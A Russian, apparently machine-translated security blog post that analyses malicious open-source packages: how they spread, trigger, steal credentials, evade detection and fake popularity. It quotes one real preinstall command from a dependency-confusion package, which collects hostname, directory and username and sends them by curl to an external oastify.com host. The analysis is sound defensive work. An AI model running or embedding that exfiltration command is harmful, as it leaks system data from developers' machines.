В предыдущем эпизоде Вредоносные пакеты с открытым исходным кодом: проблема, мы обсудили, почему субъекты угроз были настолько с энтузиазмом относится к публикации новых вредоносных компонентов или внедрению вредоносного ПО в последние версии существующих компонентов: инфраструктура с открытым исходным кодом позволяет любому человеку в любом месте создать временную учетную запись. в реестре компонентов (например, NPM, PyPI, Docker Hub или Visual Studio Marketplace) или на платформе совместной разработки (например, GitHub). Нулевые затраты и множество возможностей для использования избыточного доверия, которое команды разработчиков программного обеспечения традиционно испытывают к сторонним компонентам.
Асимметрия между тем, насколько легко злоумышленникам распространять вредоносное ПО, используя инфраструктуру, доступную для открытого исходного кода, и насколько сложно организациям, разрабатывающим программное обеспечение (всем?), избежать заражения вредоносным ПО (и доставлять вредоносное ПО в ПО, для которого они распространяют другие), привело к отметке в четверть миллиона вредоносных пакетов, почти достигнутой в прошлом году.
Это проблема такого масштаба, что ни одна организация не может ее решить, и сообщество находится в процессе переосмысления процесса открытого исходного кода, касающегося доверия, принципов безопасности по умолчанию и безопасности по дизайну, а также жизненного цикла компонентов. Мы рассмотрим такие идеи в следующем выпуске. Защита от вредоносных пакетов с открытым исходным кодом: что (не) работает.
Помните, что мы говорим о компонентах программного обеспечения, которые в большинстве случаев соответствуют пакеты программ: компоненты многократного использования, упакованные таким образом, чтобы на них можно было ссылаться как на зависимость в манифесте программного обеспечения, и устанавливать их с помощью менеджера пакетов или инструмента сборки. Обратите внимание, что этот случай можно расширить, включив в него публичные образы контейнеров (используется средами выполнения контейнеров и платформами оркестрации, такими как Kubernetes), и расширения программных инструментов (для сборки, автоматизации и развертывания).
Здесь мы анализируем, как это тактика атаки на основе вредоносных компонентов работает в соответствии с прошлыми примерами и тем, что мы видели на нашей платформе раннего предупреждения о вредоносных программах. (МЭУ). Разберем вредоносные компоненты по разным направлениям:
(1) выбранный способ распространения (используемый реестр в новом или существующем компоненте и метод, использованный для заражения опубликованной версии компонента), (2) как вредоносное ПО активируется или запускается, (3) вредоносное поведение, т.е. какие вредоносные действия наблюдаются и какова мотивация злоумышленника, (4) какие методы являются общими для запутывания, сокрытия для того, чтобы остаться незамеченным, бокового перемещения, общения с хостами управления и контроля (С2) и т. д.; и (5) методы завоевания достаточной популярности и доверия, чтобы жертвы в конечном итоге установили компонент.
Выбранный механизм распределения
Мы наблюдаем «фоновый шум» простых вредоносных пакетов, использующих опечатки для фишинга неосторожных разработчиков с помощью опечатки в имени пакета для их зависимости. Многие популярные пакеты получают шквал пакетов с одинаковыми названиями и опечатками в расчете на то, что они станут фишингом для некоторых неосторожных разработчиков.
Они используют эфемерную учетную запись, публикуют группу пакетов Typosquat, создают еще одну и публикуют еще одну группу… Используя некоторую автоматизацию и изобретательность, они могут добиться некоторой сложности, но обычно они довольно тривиальны. Мы внутренне называем их «анчоусы». Кража учетных данных является основной целью, но иногда мы обнаруживаем, что шпионское ПО похищает исходный код или конфиденциальные данные, такие как личная информация (PII), захват буфера обмена и другие опасения.
Совершенно неожиданно мы видим более сложные вредоносные компоненты — «акул». Меньшинство ориентировано на определенные группы или организации, обычно с помощью крипто-сборщиков или веб-скиммеров, которые активируются при определенных условиях, возможно, следуя подходу, показанному в инцидент потока событий расшифровки полезных данных атаки только тогда, когда на пакет ссылается целевой пакет.
Механизм распределения был проанализирован в превосходной и ставшей классической статье:Коллекция ножей Backstabber: обзор атак на цепочку поставок программного обеспечения с открытым исходным кодом», которую обязательно нужно прочитать. Наверняка вы уже видели этот красивый график:
Были изучены все возможности, включая новые и существующие пакеты; влияние на исходный код, систему сборки или сам упакованный компонент; использование украденных учетных данных или социальной инженерии; взлом заброшенных учетных записей и репозиториев или отравление поддерживаемых. Некоторые атаки получили названия (Typosquatting, Путаница зависимостей, Проявление замешательства, Репо-джекинг. и т. д.) и уже обсуждались в другом месте.
А как насчет выбранных реестров?
NPM продолжает лидировать по общему количеству вредоносных пакетов, но начиная с этого года мы наблюдаем всплеск на PyPI. Python — популярная экосистема для науки о данных и машинного обучения. Фактически, плотность вредоносного ПО в PyPI сейчас выше, чем в NPM.
Как запускается вредоносное ПО
Вредоносные пакеты срабатывают при установке только в 4 из 10 случаев (в последние годы это было близко к 6 из 10). Остальные демонстрируют вредоносное поведение во время выполнения, причем 1 из 100 срабатывает во время выполнения тестов. Злоумышленники, похоже, знают, что во многих местах отключено неконтролируемое выполнение установочных скриптов.
Что получают плохие парни?
Мы перечислим категории вредоносного поведения, начиная с самых популярных. Обратите внимание, что влияние может быть совершенно разным: Стеклоочиститель является крайне разрушительным, но оно не является распространенным и наблюдалось лишь в нескольких случаях, связанных с целенаправленными кампаниями кибервойн или жестоким хактивизмом. Следующие категории довольно распространены:
- InfoStealer / Слив учетных данных. Безусловно, наиболее частыми (более 90% несложных атак) являются простые кражи, которые в основном ищут учетные данные, такие как пароли, токены доступа, ключи API и закрытые ключи (для SSH и т.п.). Наверное проще всего написать (вместе с дворниками?). Они пересчитывают известные файлы/каталоги и другие источники (например, ключи реестра), упаковывают содержимое и отправляют эти данные на сервер C2. Идея проста: «Я публикую стилер для фишинговых учетных данных, чтобы позже использовать эти учетные данные для запуска направленной атаки».
Наблюдаемые сети C2 обычно являются дешевыми и грязными, как каналы Telegram или инструменты туннелирования, подобные ngrok (часто в виде обратных прокси-серверов, предоставляемых через выходные IP-адреса VPN). Существуют сотни (!) возможностей, и многие проекты GitHub находятся под тема по краже паролей. Такие специализации, как кейлоггеры, редко встречаются для вредоносных пакетов и образов контейнеров, но чаще встречаются в расширениях инструментов, где ожидается взаимодействие с пользователем.
- Дроппер/Загрузчик. Второй по популярности, обычно занимает первое место в многоэтапных атаках. Более чем каждый третий вредоносный компонент имеет дропперы (если вредоносная полезная нагрузка включена в пакет) или загрузчики (полезная нагрузка загружается с конечной точки, находящейся под контролем злоумышленника). Полезная нагрузка часто представляет собой известный двоичный вариант вредоносного ПО, который запускается, а иногда и сохраняется для установки бэкдоров, шпионских программ, средств шифрования и других случаев использования. Загруженная или развернутая полезная нагрузка запускает вторую фазу атаки, используя всю мощь существующих двоичных файлов вредоносного ПО. Двоичные файлы могут распространяться внутри пакета, часто маскируясь под изображения или предположительно безобидные типы файлов, чтобы избежать обнаружения при подключении к неожиданным сайтам.
- Похитители криптовалюты / Майнеры. Финансово мотивированные злоумышленники готовы использовать ваши облачные активы для запуска криптомайнеров (они даже определяют, работают ли они на облачной виртуальной машине). Они не заботятся о низкорентабельный коэффициент в размере 1 доллара за каждые 53 доллара, предъявленные жертве за украденную облачную инфраструктуру. Жертвы могут не знать об этом, пока не получат неожиданный счет. К счастью, это приходит и уходит. Cryptojacking кампании в вредоносных пакетах время от времени появляются, а затем исчезают, фишинг для пользователей кошелька или, в конечном итоге, нацелены на провайдера кошелька, как в Атака на Леджер.
Другие варианты поведения, такие как развертывание задняя дверь удаленное выполнение кода путем открытия обратной оболочки сейчас встречается реже, чем раньше. Например, 123rf_contributor_web пакет (теперь удаленный из реестра) открывается без каких-либо обфускаций, обратная оболочка скопирована и вставлена из Шпаргалка по обратной оболочке:
Помимо законных и вредоносных компонентов, мы наблюдали несколько злоупотреблений, в том числе:
Спам-пакеты
Есть тысячи небольших пакетов, в основном в NPM, без вредоносного ПО, но обещающих легкий заработок, змеиное масло, ссылки на предложения Виагры и все такое. Некоторые пользователи публикуют такой спам и отнимают у реестра много трафика. Другой субъект(ы), возможно, из Индонезии, пытался получить выгоду путем злоупотребление чайным рангом предназначен для компенсации разработчиков открытого исходного кода путем создания десятков тысяч взаимосвязанных пакетов NPM с соответствующими фиктивными репозиториями GitHub. Это явное нарушение условий использования.
Мистификации об обнаружении ошибок и исследованиях безопасности
Когда пакет описывает себя как сбор данных для благих целей, таких как обнаружение недостатков безопасности для программ вознаграждения за ошибки или исследование определенных аспектов экосистемы. Мы видели тысячи пакетов в этой категории, которые извлекают идентификационные, но не слишком конфиденциальные данные, на адрес Burp Collaborator из PortSwigger (например, хост в домене oastify.com). Мы часто наблюдали подражателей Путаница зависимостей доказательство концепции Алекса Бирсана, как и Аврора-webmail-про пакет (удаленный из реестра), который просто запускает этот противный код в предустановочном скрипте:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
А также включил «Это простая атака на путаницу зависимостей. Доказательство концепции.» описание отказа от ответственности в пакет.json. Это явное нарушение условий обслуживания, даже без злого умысла.
Какие-то хорошие новости? Мы не видели (пока) атак программ-вымогателей, реализуемых через вредоносные компоненты. По неизвестным причинам киберпреступники, похоже, предпочитают более традиционные механизмы фишинга по электронной почте, RDP и попутную загрузку.
Дополнительные методы наблюдаются
Многие методы использовались для устойчивости, уклонения от защиты, сбора информации, связи с хостами управления и контроля и эксфильтрации.
Настойчивость во вредоносных компонентах достигается с помощью функций персистентности в двоичном вредоносном ПО второй стадии, но иногда поведение обнаруживается в коде пакета, причем наиболее распространенными являются запланированные задачи и изменения в реестре Windows.
затемнение распространено, но бесхитростно. Большинство пакетов для тайпсквоттинга (помните «анчоусы”?) вообще не использовать обфускацию; многие используют либо тривиальные (кодирование base64/hex или шифры подстановки, такие как rot13), либо используют доступные обфускаторы кода и минификацию, которые легко отменить с помощью подходящего инструмента. Только «акулы» занимаются настоящей, жесткой обфускацией, которую трудно перепроектировать.
Запутывание может скрыть атаку, но зачем запутывать код компонента с открытым исходным кодом? Есть ли доказательства того, что что-то нужно скрывать от посторонних глаз? Мы обнаружили множество примеров невредоносных пакетов, использующих запутывание для защиты интеллектуальной собственности, что противоречит понятию «открытый исходный код». Обфускацию можно использовать как доказательство наличия вредоносного ПО, но это не является убедительным доказательством. Это также трудно де-обфусцировать.
Уклонение от средств защиты защиты принимает простые методы. Вредоносный код часто защищен Попробуйте поймать блоки, которые игнорируют любые исключения, поэтому аномальная активность не отображается в журналах. Проверка среды (работающей на виртуальной машине или контейнере) проводится редко, за исключением случаев вредоносного ПО, нацеленного на конкретную организацию или среду.
Маскировка двоичных файлов в изображениях и файлах PDF (своего рода стеганография) была еще одним методом уклонения от обнаружения.
Поскольку наиболее распространенными вредоносными компонентами являются инфосталиры, сбор данных важно. Секреты (пароли, токены доступа, ключи API, криптографические ключи) регулярно сканируются в файлах журналов, переменных среды и даже в буфере обмена (это наблюдается у банковских троянов и криптографических похитителей). Эксфильтрация исходного кода также распространена, поскольку установка пакета часто выполняется на узле разработки, где могут быть клонированы внутренние репозитории git. Мы видели пакеты, перебирающие каталоги в поисках репозиториев git. Поиск таких местоположений, как .env, Private.pem, settings.py, app.js или application.properties, довольно распространен.
Эксфильтрация – еще одно широко распространенное действие. Лишь небольшая часть вредоносных пакетов даже пытается скрыть место назначения извлеченных данных. Telegram-каналы и туннели, похожие на нгроков часто используются. И есть много обычно домены из белого списка, используемые для кражи.
Другие методы, такие как повышение привилегий или горизонтальное перемещение, были менее распространены.
Завоевание популярности и доверия
Представьте себе технического мошенника с готовой убийственной зловредной штукой, задающегося вопросом: «Как мне сделать этот кусок дерьма! заслуживает доверия этих ничего не подозревающих идиотов?“.
Это означает, как сделать запись для вредоносного компонента, чтобы отображалось много звезд/форков (для популярности), а также версий/проблем и pull requests (для активности). Идея заключается в том, чтобы получить фиктивную популярность (звезды) и иждивенцев, а также убедительный вид относительно релевантности и поддержания.
Реестр не проверяет соответствие содержимого проекта GitHub и содержимого пакета.. Это хорошо известная проблема в цепочке поставок программного обеспечения. Публичные реестры — это гигантские воронки, поглощающие все, что в них бросают. Вы можете связать любой репозиторий.
Если вредоносный пакет опечатывает популярный пакет, это легко: просто укажите существующий репозиторий GitHub в манифесте зависимостей, который использовался для создания пакета и публикации его в реестре. Для новых пакетов в поддельном репозитории GitHub вам может потребоваться больше изобретательности, например, создание поддельных пакетов. наблюдение за звездами/разветвление Аккаунты GitHub с помощью сценариев.
И если содержимое вашего пакета достаточно похоже на содержимое репозитория, вставьте пару хорошо продуманных изменений здесь и там... Вы можете внедрить свою вредоносную программу в новый пакет, похожий на популярный, со ссылкой на существующий репозиторий, и ждать опечаток. . Если кто-нибудь осмелится сравнить содержимое архива пакета с содержимым репозитория GitHub, различия в точках внедрения вредоносного ПО можно легко упустить. Мы видели этот подход много раз раньше.
Приветствуется механизм, позволяющий компоненту делать защищенное от несанкционированного доступа заявление о происхождении, о том, как был создан пакет, из каких источников и кем. Но это уже другая история.
Является ли компонент X вредоносным ПО?
Существует ли (полная) база данных вредоносных пакетов? Неа. Уязвимости с открытым исходным кодом имеют присвоенный идентификатор CVE, но лишь немногим вредоносным пакетам (особенно тем, которые попадают в заголовки газет) он присвоен. CWE для вредоносных пакетов КВО-506 (встроенный вредоносный код).
Обычные вредоносные инструменты (VirusTotal, MalwareBazaar, SOREL-20M…) не предусматривают специальных мер для вредоносных компонентов. Это было бы кстати!
Существуют исследовательские базы данных и наборы данных для анализа (мы используем некоторые из них), но записи обновляются только тогда, когда становится известен вредоносный пакет, что часто бывает слишком поздно. Если вам интересно, то OpenSSF Вредоносные пакеты это хорошее начало.
В следующем посте мы обсудим, как узнать, является ли данный пакет вредоносным. Спойлер: да, существуют способы проверки наличия вредоносных компонентов на ранних этапах периода воздействия, прежде чем реестр удалит известный вредоносный компонент.
Далее
В следующем выпуске «Защита от вредоносных пакетов с открытым исходным кодом: что (не) работает мы обсудим, что можно и чего нельзя делать в области безопасности открытого исходного кода. Большинство специалистов, занимающихся вопросами безопасности, имеют интуитивное представление о том, как справиться с этой угрозой, но существует множество заблуждений.
Мы рассмотрим, почему эти идеи ошибочны и как такие заблуждения способствуют популярности этого механизма атак и огромным рискам, которым подвергаются организации. Затем мы перейдем к тому, что действительно работает, и какие усилия и ресурсы затрачены.
Также мы собираемся рассказать об эволюции вредоносных пакетов с точки зрения их назначения, механизма внедрения и методов атаки.
Будьте на связи!
